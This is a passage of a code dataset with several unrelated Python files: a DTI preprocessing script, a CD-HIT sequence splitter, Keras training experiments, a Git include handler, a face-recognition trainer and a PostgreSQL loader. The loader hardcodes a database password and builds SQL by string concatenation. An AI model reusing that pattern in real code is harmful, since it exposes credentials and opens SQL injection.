directions.\".format(count))\n\n eddy_output_root = subject['path'].joinpath(subject['id'] + \"_\" + subject['t'] + \"_eddy\")\n fieldmap_file = subject['path'].joinpath(subject['id'] + \"_\" + subject['t'] + \"_fieldmap\")\n mask_file = subject['path'].joinpath(subject['id'] + \"_\" + subject['t'] + \"_mask.nii.gz\")\n acqp_file = pathlib.Path(\"acqparams.txt\")\n\n success = utils.run_and_log([\"eddy_cuda9.1\",\n \"--imain=\" + str(subject['dti']),\n \"--mask=\" + str(mask_file),\n \"--acqp=\" + str(acqp_file),\n \"--index=\" + str(index_file),\n \"--bvecs=\" + str(subject['bvec']),\n \"--bvals=\" + str(subject['bval']),\n \"--out=\" + str(eddy_output_root),\n \"--field=\" + str(fieldmap_file),\n \"--repol\",\n \"--slspec=slspec.txt\",\n # \"--json=DTI_spec.json\",\n \"--niter=6\",\n \"--fwhm=10,5,1,0,0,0\",\n \"--mporder=8\",\n \"--s2v_niter=8\",\n \"--ol_type=both\",\n \"--estimate_move_by_susceptibility\",\n \"--very_verbose\"], logger)\n\n logger.info(\"1_preprocess done. Elapsed time={}\".format(time.perf_counter() - start))\n\n return success\n\n\nfor subject in subjects:\n success = apply_eddy(subject)\n if not success:\n print(\"Exception raised while processing, see log for further details...\")\n\n\n", "repo_name": "lacroixle/AdodepDTIPipeline", "sub_path": "1_preprocess.py", "file_name": "1_preprocess.py", "file_ext": "py", "file_size_in_byte": 3401, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pathlib.Path", "line_number": 12, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 15, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 19, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 20, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 21, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 33, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 34, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 35, "usage_type": "attribute"}, {"api_name": "datetime.datetime.today", "line_number": 37, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 37, "usage_type": "attribute"}, {"api_name": "utils.get_fsl_version", "line_number": 38, "usage_type": "call"}, {"api_name": "time.perf_counter", "line_number": 41, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 57, "usage_type": "call"}, {"api_name": "utils.run_and_log", "line_number": 59, "usage_type": "call"}, {"api_name": "time.perf_counter", "line_number": 79, "usage_type": "call"}]} {"seq_id": "10187755432", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct 30 16:08:05 2021\n\n@author: 666292\n\"\"\"\n\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Feb 8 23:57:30 2020\n\n@author: 666292\n\"\"\"\n\nimport psycopg2\nimport pandas as pd\n\n# Establish a connection to the database by creating a cursor object\n# The PostgreSQL server must be accessed through the PostgreSQL APP or Terminal Shell\n\n# conn = psycopg2.connect(\"dbname=suppliers port=5432 user=postgres password=postgres\")\n\n# Or:\n\n\ndata = pd.read_excel(\"CR_DEPLOYMENT_REQUESTS_LOGGER_V2.xlsx\")\n\ndf = pd.DataFrame(data[:15], columns= ['SR NO','RFC NO','Date and Day of Entry'])\n\nprint(df)\ndf.set_index(\"SR NO\", drop=True, inplace=True)\n\ndictionary = df.to_dict(orient=\"index\")\n\nprint(dictionary)\n \n\nconn = psycopg2.connect(host=\"localhost\", port = 5432, database=\"mydb\", user=\"devopstest\", password=\"devopstest@434\")\n\n# Create a cursor object\ncur = conn.cursor()\nprint(conn)\n\nmainlist=[]\n\nfor key,value in dictionary.items():\n mylist=[]\n for k,v in value.items():\n print(v)\n mylist.append(v)\n mainlist.append(tuple(mylist))\n \n #cur.execute(\"insert into cr_deployments(rfc_no,date_day) values\")\nprint(mainlist)\n\nfor value in mainlist:\n cur.execute(\"insert into cr_deployments(rfc_no,date_day) values\"+str(value))\n \nconn.commit() \n\"\"\"\n# A sample query of all data from the \"vendors\" table in the \"suppliers\" database\nquery_results = cur.fetchall()\nprint(query_results))\n\n# Close the cursor and connection to so the server can allocate\n# bandwidth to other requests\n\"\"\"\ncur.close()\nconn.close()\n", "repo_name": "matamkiran/python2020", "sub_path": "postgresql_with_python/save_data.py", "file_name": "save_data.py", "file_ext": "py", "file_size_in_byte": 1570, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_excel", "line_number": 26, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 28, "usage_type": "call"}, {"api_name": "psycopg2.connect", "line_number": 38, "usage_type": "call"}]} {"seq_id": "15246459238", "text": "import shutil, subprocess, tempfile\nfrom proteinshake.utils import save\nimport os.path as osp\nfrom tqdm import tqdm\nfrom util import replace_avro_files, get_paths, split\nfrom collections import defaultdict\n\ndef cdhit_wrapper(ids, sequences, sim_thresh=0.6, n_jobs=1):\n \"\"\" Cluster sequences using CD-hit\n\n Choose of word size:\n -n 5 for thresholds 0.7 ~ 1.0\n -n 4 for thresholds 0.6 ~ 0.7\n -n 3 for thresholds 0.5 ~ 0.6\n -n 2 for thresholds 0.4 ~ 0.5\n\n Parameters\n -----------\n sequences: list\n List of protein sequences to cluster.\n\n Returns\n --------\n representatives: list\n List of sequence indices to preserve as representatives.\n \"\"\"\n assert sim_thresh >= 0.4 and sim_thresh <= 1, \"Similarity threshold not in [0.4, 1]\"\n\n if sim_thresh >= 0.4 and sim_thresh < 0.5:\n word_size = 2\n elif sim_thresh >= 0.5 and sim_thresh < 0.6:\n word_size = 3\n elif sim_thresh >= 0.6 and sim_thresh < 0.7:\n word_size = 4\n else:\n word_size = 5\n\n assert shutil.which('cd-hit') is not None,\\\n \"CD-HIT installation not found. Go here https://github.com/weizhongli/cdhit to install\"\n\n n_jobs = 0 if n_jobs < 0 else n_jobs\n\n with tempfile.TemporaryDirectory() as tmpdir:\n in_file = osp.join(tmpdir, 'in.fasta')\n out_file = osp.join(tmpdir, 'out.fasta')\n with open(in_file, \"w\") as inp:\n for id, s in zip(ids,sequences):\n inp.write(f\">{id}\\n\")\n inp.write(s + \"\\n\")\n cmd = ['cd-hit',\n '-c', str(sim_thresh),\n '-i', in_file,\n '-n', str(word_size),\n '-o', out_file,\n '-T', str(n_jobs),\n '-M', \"0\" # unlimited memory\n ]\n subprocess.run(cmd,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT\n )\n # parse cluster assignments\n pdb2cluster = {}\n cluster2pdb = defaultdict(list)\n with open(out_file + \".clstr\", \"r\") as out:\n for line in out:\n if line.startswith(\">\"):\n clust_id = int(line.split()[1])\n continue\n pdb_id = line.split(\">\")[1].split('.')[0]\n pdb2cluster[pdb_id] = clust_id\n cluster2pdb[clust_id].append(pdb_id)\n return pdb2cluster, cluster2pdb\n\n\ndef compute_sequence_split(dataset, thresholds=[0.5, 0.6, 0.7, 0.8, 0.9], test_ratio=0.1, val_ratio=0.1):\n \"\"\" Use CDHit to cluster sequences. Assigns the field 'sequence_cluster' to an integer cluster ID for each protein.\n \"\"\"\n if osp.exists(f'{dataset.root}/{dataset.name}.cdhit.json'): return\n\n print(f'Sequence split {dataset.name}')\n\n proteins = list(dataset.proteins())\n sequences = [p['protein']['sequence'] for p in proteins]\n pdbids, paths, path_dict = get_paths(dataset)\n\n for threshold in thresholds:\n pdb2cluster, cluster2pdb = cdhit_wrapper(pdbids, sequences, sim_thresh=threshold, n_jobs=dataset.n_jobs)\n def split_wrapper(ds, query, threshold, path_dict):\n if not query in pdb2cluster: return []\n return cluster2pdb[pdb2cluster[query]]\n pool = [p for p in pdbids]\n test_size, val_size = int(len(pool)*test_ratio), int(len(pool)*val_ratio)\n pool, test = split(split_wrapper, dataset, pool, test_size, threshold, path_dict, pdbids)\n train, val = split(split_wrapper, dataset, pool, val_size, threshold, path_dict, pdbids)\n #train, test, val = [dataset.get_id_from_filename(p) for p in train], [dataset.get_id_from_filename(p) for p in test], [dataset.get_id_from_filename(p) for p in val]\n print(f'total: {len(proteins)} train: {len(train)} test: {len(test)} val: {len(val)}')\n for p in proteins:\n if p['protein']['ID'] in test: p['protein'][f'sequence_split_{threshold}'] = 'test'\n elif p['protein']['ID'] in val: p['protein'][f'sequence_split_{threshold}'] = 'val'\n elif p['protein']['ID'] in train: p['protein'][f'sequence_split_{threshold}'] = 'train'\n else: p['protein'][f'sequence_split_{threshold}'] = 'none'\n replace_avro_files(dataset, proteins)\n\n", "repo_name": "BorgwardtLab/proteinshake_release", "sub_path": "sequence_split.py", "file_name": "sequence_split.py", "file_ext": "py", "file_size_in_byte": 4217, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "shutil.which", "line_number": 38, "usage_type": "call"}, {"api_name": "tempfile.TemporaryDirectory", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "name"}, {"api_name": "subprocess.run", "line_number": 58, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 59, "usage_type": "attribute"}, {"api_name": "subprocess.STDOUT", "line_number": 60, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path", "line_number": 79, "usage_type": "name"}, {"api_name": "util.get_paths", "line_number": 85, "usage_type": "call"}, {"api_name": "util.split", "line_number": 94, "usage_type": "call"}, {"api_name": "util.split", "line_number": 95, "usage_type": "call"}, {"api_name": "util.replace_avro_files", "line_number": 103, "usage_type": "call"}]} {"seq_id": "33163134295", "text": "from sklearn.preprocessing import StandardScaler\r\nfrom pandas import read_csv\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom keras.optimizers import SGD, Adam\r\nfrom tensorflow.keras.layers import Dense\r\nfrom tensorflow.keras import Sequential\r\nfrom tensorflow.keras import initializers\r\nfrom numpy import where\r\nfrom numpy import argmax\r\nimport numpy as np\r\nfrom timeit import default_timer as timer\r\n\r\n\r\n# Step 1: Load the machine dataset\r\ndf = read_csv(\"MachineData_Exam.csv\", header=None)\r\n# Split data into input (X) and output (y) columns\r\nX, y = df.values[1:35001, :-1], df.values[1:35001, -1]\r\n# ensure all data are floating point values\r\nX = X.astype('float32')\r\ny = y.astype('float32')\r\n\r\n# Step 2: Preparing training dataset for training and testing of DNN Network\r\ndef prepare_data():\r\n # split into train and test datasets\r\n x = StandardScaler().fit_transform(X)\r\n X_train, X_test, y_train, y_test = train_test_split(x, y, test_size=0.3)\r\n #print(X_train.shape, X_test.shape, y_train.shape, y_test.shape)\r\n\r\n # determine the number of input features\r\n n_features = X_train.shape[1]\r\n print('Number of feature %.1f' % n_features)\r\n return X_train, y_train, X_test, y_test\r\n\r\n# Step 3: Construct Deep Neural Network (DNN) model\r\ndef fit_model(X_train, y_train, X_test, y_test, initializer, batch, name):\r\n # define DNN network model\r\n model = Sequential()\r\n # Add an input layer: dimensionality of the output space = 24 hidden units\r\n model.add(Dense(24, activation='relu', kernel_initializer=initializer, input_shape=(9,)))\r\n # Add a Hidden layer: output of this layer is arrays of shape = 24 hidden unit \r\n model.add(Dense(24, activation='relu', kernel_initializer=initializer))\r\n # Add an output layer: ending network with a Dense layer of size 7.\r\n model.add(Dense(7, activation='softmax'))\r\n\r\n # compile the DNN network ------------------------------------------------------------------------\r\n Tstart = timer()\r\n # The loss function is the ‘sparse_categorical_crossentropy‘, which is appropriate for integer encoded class labels\r\n opt = SGD(lr = 0.01, momentum = 0.5)\r\n model.compile(optimizer=opt,loss='sparse_categorical_crossentropy', metrics=['accuracy'])\r\n # fit the MLP network ------------------------------------------------------------------------------\r\n # Train the model for 150 epochs or iterations over all the samples\r\n historyFit = model.fit(X_train, y_train, validation_data=(X_test, y_test), epochs=150, verbose=0, batch_size=batch)\r\n # evaluate the model performance-----------------------------------------------------------------\r\n loss, acc = model.evaluate(X_test, y_test, verbose=0)\r\n print('Test Accuracy: %.3f' % acc)\r\n Tend = timer(); deltaT = Tend - Tstart\r\n print('Training deltaT = ',deltaT,' sec') \r\n plt.plot(historyFit.history['accuracy'], label='train', color='b')\r\n plt.plot(historyFit.history['val_accuracy'], label='test', color='r')\r\n plt.title(name, pad=-40)\r\n plt.ylim([0.5,1.2]), plt.xlabel('Epochs'), plt.ylabel('Accuracy')\r\n\r\n# Main Program: Step 3 \r\n# prepare training and testing datasets -------------------------------------------------\r\nX_train, y_train, X_test, y_test = prepare_data()\r\ninitializer = [initializers.Zeros(), initializers.RandomUniform(seed=1), initializers.GlorotUniform(seed=1), initializers.he_uniform()]\r\nname = [\"Initializer = Zeros\",\"Initializer = RandomUniform\",\"Initializer = GlorotUniform\",\"Initializer = he_uniform\"]\r\nbatch = 32\r\nplt.figure(figsize=[12.8,10])\r\nfor i in range (len(initializer)):\r\n # assign different plot number\r\n plot_no = (i+1)\r\n plt.subplot(2,2,plot_no)\r\n # Training MLP model and plot learning curves for a learning rate\r\n fit_model(X_train, y_train, X_test, y_test, initializer[i], batch, name[i])\r\n \r\n# show learning curves\r\nplt.savefig('step3.png')\r\nplt.show()\r\n\r\n# Main Program: Step 4 \r\n# prepare training and testing datasets -------------------------------------------------\r\nX_train, y_train, X_test, y_test = prepare_data()\r\ninitializer = initializers.he_uniform()\r\nname = [\"Batch Gradient Descent\",\"Mini-Batch Gradient Descent 64\",\"Mini-Batch Gradient Descent 128\",\"Stochastic Gradient Descent\"]\r\nbatch = [len(X_train),64,128,1]\r\nplt.figure(figsize=[12.8,10])\r\nfor i in range (len(name)):\r\n # assign different plot number\r\n plot_no = (i+1)\r\n plt.subplot(2,2,plot_no)\r\n # Training DNN model and plot learning curves for a learning rate\r\n fit_model(X_train, y_train, X_test, y_test, initializer, batch[i], name[i])\r\n \r\n# show learning curves\r\nplt.savefig('step4.png')\r\nplt.show()", "repo_name": "rick-ativit/Robotics-Embedded-System", "sub_path": "Prob2_step4.py", "file_name": "Prob2_step4.py", "file_ext": "py", "file_size_in_byte": 4732, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 17, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 27, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 28, "usage_type": "call"}, {"api_name": "tensorflow.keras.Sequential", "line_number": 39, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 41, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 43, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 45, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 48, "usage_type": "call"}, {"api_name": "keras.optimizers.SGD", "line_number": 50, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 63, "usage_type": "call"}, {"api_name": "tensorflow.keras.initializers.Zeros", "line_number": 68, "usage_type": "call"}, {"api_name": "tensorflow.keras.initializers", "line_number": 68, "usage_type": "name"}, {"api_name": "tensorflow.keras.initializers.RandomUniform", "line_number": 68, "usage_type": "call"}, {"api_name": "tensorflow.keras.initializers.GlorotUniform", "line_number": 68, "usage_type": "call"}, {"api_name": "tensorflow.keras.initializers.he_uniform", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "tensorflow.keras.initializers.he_uniform", "line_number": 86, "usage_type": "call"}, {"api_name": "tensorflow.keras.initializers", "line_number": 86, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 93, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}]} {"seq_id": "3234549380", "text": "from __future__ import annotations\n\nimport logging\nimport re\nimport typing as t\nfrom pathlib import Path\n\nfrom kraken.context import Context\nfrom kraken.contrib.ci import CiPlugin\nfrom kraken.include import IncludeHandler\nfrom kraken.io import IO\nfrom kraken.task import Task\nfrom nr.util.git import Git\n\nlogger = logging.getLogger(__name__)\n\n\nclass GitIncludeHandler(IncludeHandler):\n \"\"\"This plugin matches a Git clone URL and applies a Kraken build script from that repository.\n\n The following options can be supplied to the :meth:`Context.include` method that are accepted\n by this plugin:\n\n * `directory`: The subdirectory inside the repository from which to load the `build.kraken` file.\n * `branch`: The branch to clone.\n\n The plugin will create a `gitPullIncluded` task under the group `pull` that can be used to\n update the defaults.\n \"\"\"\n\n def matches(self, url: str) -> bool:\n return url.startswith(\"git+\") or url.startswith(\"git@\")\n\n def include(\n self,\n context: Context,\n url: str,\n directory: str | None = None,\n branch: str | None = None,\n rewrite_ssh_to_http: bool = False, # Deprecated\n rewrite_ssh_to_https: bool | None = None,\n **kwargs: t.Any,\n ) -> None:\n if kwargs:\n logger.warning(\n \"GitIncludeHandler received unexpected keyword arguments for url %r: %s\",\n url,\n kwargs,\n )\n\n ci = context.plugin(\"kraken.contrib.ci\", CiPlugin)\n\n if rewrite_ssh_to_http:\n logger.warning(\n \"GitIncludeHandler received keyword argument 'rewrite_ssh_to_http' which is deprecated. \"\n \"Use 'rewrite_ssh_to_https' instead (note the additional 's').\"\n )\n if rewrite_ssh_to_https is None:\n rewrite_ssh_to_https = rewrite_ssh_to_http\n\n if rewrite_ssh_to_https is None and url.startswith(\"git@\") and ci.environment is not None:\n logger.info(\n \"Detected Git SSH source location, and we are in a supported CI environment. Applying \"\n \"the SSH to HTTPS rewriter now.\"\n )\n rewrite_ssh_to_https = True\n\n if rewrite_ssh_to_http or rewrite_ssh_to_https:\n context.apply(\"kraken.contrib.git.rewrite_ssh_to_https\", autoconfig=True)\n\n if url.startswith(\"git+\"):\n url = url[4:]\n\n target_directory = context.build_directory / \"git\" / re.sub(r\"^\\w+@|https?://\", \"\", url).replace(\":\", \"/\")\n\n # Clone the repository if it doesn't exist, or pull it.\n git = Git(target_directory)\n if not target_directory.is_dir():\n git.clone(url, branch) # type: ignore[arg-type] # Bad type hint in library for Mypy strict mode\n else:\n logger.info('Git repository %r already cloned, run \"kraken update\" to update it', url)\n task = context.task(\"include.git.pull\", \"update\", GitUpdateIncludeTask, existing_ok=True)\n task.repositories.append((branch, target_directory))\n\n kraken_file = target_directory / (directory or \"\") / context.BUILD_FILE\n if not kraken_file.is_file():\n # If the file does not exist, maybe we need to update the repo?\n _checkout_and_pull(git, branch)\n if not kraken_file.is_file():\n raise Exception(\n f'File \"{kraken_file.relative_to(target_directory)}\" does not exist in repository {url!r}'\n )\n\n context.run_build_script(kraken_file)\n\n\nclass GitUpdateIncludeTask(Task):\n \"\"\"A task to update a set of Git repositories.\"\"\"\n\n def _init(self) -> None:\n self.default = False\n self.repositories: list[tuple[str | None, Path]] = []\n\n def _execute_task(self, io: IO) -> None:\n for branch, repository in self.repositories:\n git = Git(repository)\n _checkout_and_pull(git, branch)\n\n\ndef _checkout_and_pull(git: Git, branch: str | None) -> None:\n if branch is None:\n git.pull()\n else:\n current_branch = git.get_current_branch_name()\n if current_branch != branch:\n git.fetch()\n git.checkout(branch)\n git.pull()\n", "repo_name": "kraken-build/deprecated-kraken-build", "sub_path": "src/kraken/include/git.py", "file_name": "git.py", "file_ext": "py", "file_size_in_byte": 4247, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 15, "usage_type": "call"}, {"api_name": "kraken.include.IncludeHandler", "line_number": 18, "usage_type": "name"}, {"api_name": "kraken.context.Context", "line_number": 36, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 42, "usage_type": "attribute"}, {"api_name": "kraken.contrib.ci.CiPlugin", "line_number": 51, "usage_type": "argument"}, {"api_name": "re.sub", "line_number": 74, "usage_type": "call"}, {"api_name": "nr.util.git.Git", "line_number": 77, "usage_type": "call"}, {"api_name": "kraken.task.Task", "line_number": 97, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 102, "usage_type": "name"}, {"api_name": "kraken.io.IO", "line_number": 104, "usage_type": "name"}, {"api_name": "nr.util.git.Git", "line_number": 106, "usage_type": "call"}, {"api_name": "nr.util.git.Git", "line_number": 110, "usage_type": "name"}]} {"seq_id": "1186429303", "text": "from os import path\n\nfrom setuptools import setup, find_packages\n\nthis_directory = path.abspath(path.dirname(__file__))\n# setup(name='cloudbluepentest', version='1.0', packages=find_packages())\n\nlong_description = None\ntry:\n with open(path.join(this_directory, 'README.md'), 'rb') as f:\n long_description = f.read().decode('utf-8')\nexcept IOError:\n long_description = 'CloudBlue Automation Security Testing Framework'\ntry:\n with open('requirements.txt') as f:\n required = f.read().splitlines()\nexcept IOError:\n print(\"requirements.txt not found\")\nsetup(\n name='cloudbluepentest',\n version='0.0.1',\n description='Security Test Automation Framework',\n packages=['core', 'module', 'utils',\n 'test', 'resources'], # find_packages()\n long_description=long_description,\n long_description_content_type='text/markdown',\n url='https://git.int.zone/users/souravg/repos/cbsecurityautomation/browse',\n platforms=[\"Windows\"],\n author='Sourav Ghosh',\n author_email='sourav.ghosh@ingrammicro.com',\n maintainer='Sourav Ghosh',\n classifiers=[\n \"Topic :: Internet\",\n \"Topic :: Scientific/Engineering\",\n \"Topic :: Software Development\",\n \"Topic :: Software Development :: Quality Assurance\",\n \"Topic :: Software Development :: Testing\",\n \"Topic :: Software Development :: Testing :: Acceptance\",\n \"Topic :: Utilities\",\n \"Operating System :: Microsoft :: Windows\",\n \"Programming Language :: Python :: 3.7\",\n ],\n install_requires=required,\n)\nprint(\"\\n*** Cloudblue Automation Security Testing Framework Installation Complete! ***\\n\")\n", "repo_name": "H3adlock/pentest", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 1658, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.abspath", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path", "line_number": 5, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "name"}, {"api_name": "setuptools.setup", "line_number": 19, "usage_type": "call"}]} {"seq_id": "40166963407", "text": "import cv2\nfrom feature_extraction.extractor import FaceVector\nfrom face_detection.face_detection import detect_face\nfrom utils_pro.utils import set_key ,r\nfrom imutils import paths\nimport numpy as np\nimport pickle\nimport os\nimport pickle\nfrom sklearn import preprocessing\nfrom novelty_v3 import PredictModel\nfrom datetime import datetime\nfrom time import time\nimport paho.mqtt.client as mqtt\nfrom utils_pro.config import DroneDetectionConfig as cf\nimport json\n\n\ndef train_model(client, user, message):\n face_vector = FaceVector()\n BLACK = [0, 0, 0]\n\n str_date = datetime.now().strftime(\"%Y_%m_%d\") \n imagePaths = list(paths.list_images('/home/ducdv10/Downloads/do_an_end/backend/app/template/image/training/{}'.format(str_date)))\n X = []\n labels = []\n if os.path.isfile(\"data/X_train.pkl\"):\n \tX = pickle.load(open(\"data/X_train.pkl\", 'rb'))\n if os.path.isfile(\"data/label_train.pkl\"):\n labels = pickle.load(open(\"data/label_train.pkl\", 'rb'))\n\n for imagePath in imagePaths:\n label = imagePath.split(os.path.sep)[-2]\n print(label)\n image = cv2.imread(imagePath)\n bbs, points = detect_face(image)\n if len(bbs)>0:\n emb=face_vector.get_vector(image, bbs[0])\t\n labels.append(label)\n X.append(emb)\n \n filename='data/X_train.pkl'\n pickle.dump(X, open(filename,'wb'))\n\n filename='data/label_train.pkl'\n pickle.dump(labels, open(filename,'wb'))\n\n x_train=np.asarray(X)\n\n label_encoder = preprocessing.LabelEncoder()\n label_encoder=label_encoder.fit(labels)\n y_train = label_encoder.transform(labels)\n filename = 'models/name_model.pkl'\n with open(filename, 'wb') as fo: \n pickle.dump(label_encoder, fo)\n\n novelty_detector = PredictModel()\n novelty_detector.fit(x_train, y_train)\n filename = 'models/face_model.pkl'\n with open(filename, 'wb') as fo: \n pickle.dump(novelty_detector, fo)\n client_sub.publish(topic=cf.UPDATE_MODEL)\n set_key(r,\"TEST\")\n\n\nclient_sub = mqtt.Client(\"training_handler\")\nclient_sub.connect(host=cf.BROKER_HOST, port=cf.BROKER_PORT)\nclient_sub.subscribe(cf.UPDATE_MODEL, qos=0)\nclient_sub.subscribe(cf.UPDATE_TRAINING, qos=0)\nclient_sub.message_callback_add(cf.UPDATE_TRAINING, train_model)\nclient_sub.loop_forever()\n", "repo_name": "duongduc2908/do_an_end", "sub_path": "backend/app/api/checkin/train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 2319, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "feature_extraction.extractor.FaceVector", "line_number": 20, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 23, "usage_type": "name"}, {"api_name": "imutils.paths.list_images", "line_number": 24, "usage_type": "call"}, {"api_name": "imutils.paths", "line_number": 24, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 35, "usage_type": "call"}, {"api_name": "face_detection.face_detection.detect_face", "line_number": 36, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 43, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 48, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 50, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 50, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 55, "usage_type": "call"}, {"api_name": "novelty_v3.PredictModel", "line_number": 57, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 61, "usage_type": "call"}, {"api_name": "utils_pro.config.DroneDetectionConfig.UPDATE_MODEL", "line_number": 62, "usage_type": "attribute"}, {"api_name": "utils_pro.config.DroneDetectionConfig", "line_number": 62, "usage_type": "name"}, {"api_name": "utils_pro.utils.set_key", "line_number": 63, "usage_type": "call"}, {"api_name": "utils_pro.utils.r", "line_number": 63, "usage_type": "argument"}, {"api_name": "paho.mqtt.client.Client", "line_number": 66, "usage_type": "call"}, {"api_name": "paho.mqtt.client", "line_number": 66, "usage_type": "name"}, {"api_name": "utils_pro.config.DroneDetectionConfig.BROKER_HOST", "line_number": 67, "usage_type": "attribute"}, {"api_name": "utils_pro.config.DroneDetectionConfig", "line_number": 67, "usage_type": "name"}, {"api_name": "utils_pro.config.DroneDetectionConfig.BROKER_PORT", "line_number": 67, "usage_type": "attribute"}, {"api_name": "utils_pro.config.DroneDetectionConfig.UPDATE_MODEL", "line_number": 68, "usage_type": "attribute"}, {"api_name": "utils_pro.config.DroneDetectionConfig", "line_number": 68, "usage_type": "name"}, {"api_name": "utils_pro.config.DroneDetectionConfig.UPDATE_TRAINING", "line_number": 69, "usage_type": "attribute"}, {"api_name": "utils_pro.config.DroneDetectionConfig", "line_number": 69, "usage_type": 